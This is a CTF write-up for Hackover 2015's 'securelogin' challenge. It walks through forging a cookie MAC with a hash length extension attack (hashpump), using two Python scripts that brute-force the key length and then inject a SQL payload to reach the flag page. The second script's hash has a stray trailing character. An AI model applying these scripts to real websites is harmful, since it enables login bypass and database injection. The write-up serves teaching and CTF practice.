Hackover CTF 2015 – securelogin

This writeup describes the solution for the securelogin challenge in Hackover CTF 2015 held by Chaos Computer Club Hamburg.

Hackover CTF 2015 - securelogin - task description

We have to get the flag from the website, so lets check it out:

Hackover CTF 2015 - securelogin - website view

Just a simple website. We can login with any data. But when visiting the “secret” tab, this is the result:

Hackover CTF 2015 - securelogin - login view

No access – no flag :-(. Lets check the cookies.

Hackover CTF 2015 - securelogin - cookie data

There is a “data” cookie. It looks like base64 so we’re going to decode it and look at its content:

ruport@zentaur:~$ echo "dXNlcm5hbWU9cnVwMHJ0LWEyZjFmY2U4ZmM5NjAxMDIwYzRhYjA5MzJjYmM1MmJkZjU3YTQzYmE4MzAyNmI4NmZmNjU2YzQzNmZkOWQ4NTk=" | base64 -d
username=rup0rt-a2f1fce8fc9601020c4ab0932cbc52bdf57a43ba83026b86ff656c436fd9d859

The cookie data contains my username and a sha256 hash (which is not the hashed username :D). It must be some message authentication code (MAC). When knowing and controlling a plaintext and looking for a valid MAC, you will always have to think on hash length extension attacks.

There is a nice tool called hashpump, that does this job for us. When doing hash length extension attacks we need to know the length of the data the server prepends to calculate the MAC. So get the correct length, I wrote a python script that iterates the key length using hashpump and check for proper login.

#!/usr/bin/env python

import requests
from base64 import *
import sys
import os

username = "rup0rt"
hash= "a2f1fce8fc9601020c4ab0932cbc52bdf57a43ba83026b86ff656c436fd9d859"
append = "a"
keylen = 1

while True:
  print "KEYLEN: ", keylen

  hashpump = os.popen("/home/creeq/HashPump/hashpump -s %s -d %s -a %s -k %i" % (hash, username, append, keylen)).readlines()
  newhash = hashpump[0].rstrip().decode("string_escape")
  newuser = hashpump[1].rstrip().decode("string_escape")

  secret = b64encode("username=" + newuser + "-" + newhash)

  url = "http://securelogin.hackover.h4q.it"
  cookies = dict(data=secret)

  r = requests.get(url, cookies=cookies)
  res = r.text

  if 'placeholder="Password"' in res:
    print "NOT LOGGED IN"
  elif 'href="/logout/' in res:
    print "LOGGED IN"

  raw_input()
  keylen += 1

When running the script it results:

ruport@zentaur:~/hackover2015$ ./keylen.py
KEYLEN:  1
NOT LOGGED IN
[...]
KEYLEN:  41
LOGGED IN

So the servers key length is 41 bytes. The hash length extension attack was successful! Next step is to think about what to inject. Let’s try to append some SQL commands ( OR 1=1 ) in case the first user is the administrator and allowed to read the secret data. This is the python script that does this job:

#!/usr/bin/env python

import requests
from base64 import *
import sys
import os

username = "rup0rt"
hash= "a2f1fce8fc9601020c4ab0932cbc52bdf57a43ba83026b86ff656c436fd9d859c"
append = '" or "1"="1'
keylen = 41

hashpump = os.popen("/home/creeq/HashPump/hashpump -s %s -d %s -a '%s' -k %i" % (hash, username, append, keylen)).readlines()
newhash = hashpump[0].rstrip().decode("string_escape")
newuser = hashpump[1].rstrip().decode("string_escape")

secret = b64encode("username=" + newuser + "-" + newhash)

url = 'http://securelogin.hackover.h4q.it/secret/'
cookies = dict(data=secret)

r = requests.get(url, cookies=cookies)
res = r.text

print res

When executing we get the following output:

ruport@zentaur:~/hackover2015$ ./inject.py
[...]
      <h1>Hello rup0rtX" or "1"="1!</h1>
      <div class="alert alert-success" role="alert">
        hackover15{hmac_would_have_been_a_better_idea}
      </div>
[...]

The solution is “hackover15{hmac_would_have_been_a_better_idea}“.

Leave a Reply

Your email address will not be published. Required fields are marked *